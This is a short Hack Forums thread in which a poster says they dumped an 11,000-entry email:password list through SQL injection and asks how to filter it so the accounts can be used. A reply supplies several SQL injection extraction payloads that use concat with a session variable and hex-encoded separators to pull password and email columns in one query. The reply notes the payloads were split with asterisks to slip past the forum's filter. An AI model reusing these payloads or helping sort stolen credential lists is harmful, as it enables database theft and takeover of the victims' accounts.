Hack Forums
How do I filter out combos from a list? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: How do I filter out combos from a list? (/showthread.php?tid=5486283)



How do I filter out combos from a list? - Ryebread830 - Dec 6, 2016

I have a 11k combo list I just scraped from an SQLI injection however some of the accounts in the list are just emails in both the email and password sections. Can I filter out these to use the rest of the accounts? There's a solid 8k with 3k email:email (instead of email:password)combos littered throughout so it'd be really nice if you guys had any idea of what to do.


* - JaNuS18 - Dec 8, 2016

If you want to filter out rows with empty emails use
PHP Code

<?php 
con
**cat(@c:=0x00,if((select count(*) from your_table where email is not null and @c:=con**cat(@c,0x3c6c693e,paasword,0x203a3a20,email)),0x00,0x00),@c) 

If you want to filter out rows where emails and passwords are the same use:
PHP Code

<?php 
con
**cat(@c:=0x00,if((select count(*) from your_table where not (email = password) and @c:=con**cat(@c,0x3c6c693e,password,0x203a3a20,email)),0x00,0x00),@c) 

If you want just quick feed back (number) of possible rows you get back using your condition (without showing data for passwords and emails) use:
PHP Code

<?php 
con
**cat(0x636f756e743a20,(select count(*) from your_table where email is not null)) 
or
PHP Code

<?php 
con
**cat(0x636f756e743a20,(select count(*) from your_table where not(email=password))) 

P.S:
Remove from syntax. I added it to avoid HF block on some SQL commands...